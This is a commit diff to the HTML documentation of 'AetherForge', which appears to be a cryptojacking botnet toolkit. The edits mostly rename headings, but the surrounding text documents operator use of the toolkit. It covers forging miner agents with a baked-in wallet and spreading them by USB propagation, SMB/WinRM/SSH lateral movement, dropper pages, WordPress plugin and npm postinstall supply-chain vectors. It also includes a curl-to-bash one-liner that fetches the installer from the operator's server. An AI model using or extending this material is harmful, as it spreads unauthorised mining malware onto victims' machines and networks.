Final sweep: Crucible fixes, Path Tracer polish, forge progress, tests green.

Align dashboard subtitle default and UpsertAgent tests with fleet label behavior; WebSocket coalesce and PathForge hardening; Crucible expanded ops and visual DV fixes; Vitest 610/610 and full test-suite pass; trim PROBLEMS.md to open items only.

server/web/public/docs/index.html

@@ -34,7 +34,7 @@
         <li><a href="#build-manager">Build Manager</a></li>
         <li><a href="#dashboard">Fleet &amp; Crucible</a></li>
         <li><a href="#crucible-ops">Crucible Commands</a></li>
-        <li><a href="#spread-campaigns">Emberwake &amp; Spread</a></li>
+        <li><a href="#spread-campaigns">Emberwake &amp; Campaigns</a></li>
         <li><a href="SPREAD_TECHNIQUES.html">Spread Techniques</a></li>
         <li><a href="#wordpress-plugin-supply-chain">WordPress plugin</a></li>
         <li><a href="#npm-postinstall-helper">npm postinstall</a></li>
@@ -70,7 +70,7 @@
           secret baked into every agent.
         </p>
         <p>
-          The workflow is: <strong>Calibrate</strong> (Settings) → <strong>Forge</strong> (Builder) → deploy once per
+          The workflow is: <strong>Calibrate</strong> → <strong>Forge</strong> → deploy once per
           worker → monitor on <strong>Command Deck</strong> and <strong>Fleet Roster</strong>. Optional layers include
           prep/movie fusion, USB perpetual propagation, LAN lateral spread, Emberwake campaign links, and Path Tracer
           WireGuard multi-hop routing.
@@ -164,9 +164,9 @@ bin\miner-server.exe -port 8989 -data .\data</code></pre>
         <p>Workers auto-convert <code>http(s)://</code> → <code>ws(s)://…/ws/agent</code>. Only outbound access from workers is required.</p>
       </section>
 
-      <!-- 3. Dashboard -->
+      <!-- 3. Command Deck -->
       <section id="dashboard">
-        <h2>Dashboard</h2>
+        <h2>Command Deck</h2>
         <p>
           The React command deck is the operator-facing UI. After login, the main routes cover fleet overview,
           agent roster, forge builder, build manager, Crucible remote terminal, Emberwake campaigns, Path Tracer,
@@ -187,7 +187,7 @@ bin\miner-server.exe -port 8989 -data .\data</code></pre>
           <li>Install funnel — agents per build over 7 days, USB-spread flag</li>
           <li>Operator audit strip — last forge, commands, config saves</li>
         </ul>
-        <div class="wiki-screenshot">[Screenshot: Dashboard fleet health + contribution map]</div>
+        <div class="wiki-screenshot">[Screenshot: Command Deck fleet health + contribution map]</div>
 
         <h3>Command deck route guide</h3>
         <table class="wiki-table">
@@ -271,7 +271,7 @@ bin\miner-server.exe -port 8989 -data .\data</code></pre>
           may auto-download WireGuard on first use if not pre-installed.
         </p>
 
-        <h3>Calibrate (Settings)</h3>
+        <h3>Calibrate</h3>
         <ul>
           <li>Wallet, pool, public URL, users, fleet secret rotation</li>
           <li>Telegram + SMTP alert notifications and thresholds</li>
@@ -280,9 +280,9 @@ bin\miner-server.exe -port 8989 -data .\data</code></pre>
           <li><code>public_builds_enabled</code> — expose all builds on unauthenticated public API</li>
         </ul>
 
-        <h3>Dashboard operating rhythm</h3>
+        <h3>Command Deck operating rhythm</h3>
         <ol>
-          <li>Open <strong>Dashboard</strong> first and check Fleet Health, Nodes Live, and Accept.</li>
+          <li>Open <strong>Command Deck</strong> first and check Fleet Health, Nodes Live, and Accept.</li>
           <li>If health is amber/red, inspect pool status and the underperformer list before touching config.</li>
           <li>Open <strong>Agents</strong> only after the dashboard tells you which machines need attention.</li>
           <li>Use <strong>Builds</strong> to verify what is currently pinned before forging anything new.</li>
@@ -394,7 +394,7 @@ bin\miner-server.exe -port 8989 -data .\data</code></pre>
       <section id="forge">
         <h2>Forge / Builder</h2>
         <p>
-          The Forge page compiles per-target worker binaries via <code>POST /api/v1/builder/build</code>. Preflight
+          Forge compiles per-target worker binaries via <code>POST /api/v1/builder/build</code>. Preflight
           checks wallet, server URL, pool, fusion payload, and AI settings before compile. Blueprints save/load
           profiles for re-forge across machines (confirmation required before re-running a saved blueprint).
         </p>
@@ -596,9 +596,9 @@ curl -sL http://YOUR-DECK:8989/install.sh | bash
 http://YOUR-DECK:8989/get?pin={build_id}&amp;c=campaign-slug</code></pre>
       </section>
 
-      <!-- 5. Spread & Campaigns -->
+      <!-- 5. Emberwake & Campaigns -->
       <section id="spread-campaigns">
-        <h2>Spread &amp; Campaigns</h2>
+        <h2>Emberwake &amp; Campaigns</h2>
         <p>
           AetherForge supports multiple distribution vectors: USB perpetual propagation, LAN lateral movement (SMB /
           WinRM on Windows, SSH on Linux/macOS), waterhole dropper pages, and one-liner install scripts. Campaign
@@ -954,7 +954,7 @@ go run ./cmd/mine-validate -seconds 20 -threads 2</code></pre>
 
       <!-- 8b. Calibrate -->
       <section id="calibrate">
-        <h2>Calibrate (Settings)</h2>
+        <h2>Calibrate</h2>
         <p>
           Route <code>/settings</code> — server-side defaults and fleet policy. Changes here affect <strong>new</strong>
           Forge forms and live server behaviour; already-forged agents keep baked settings until re-forged (except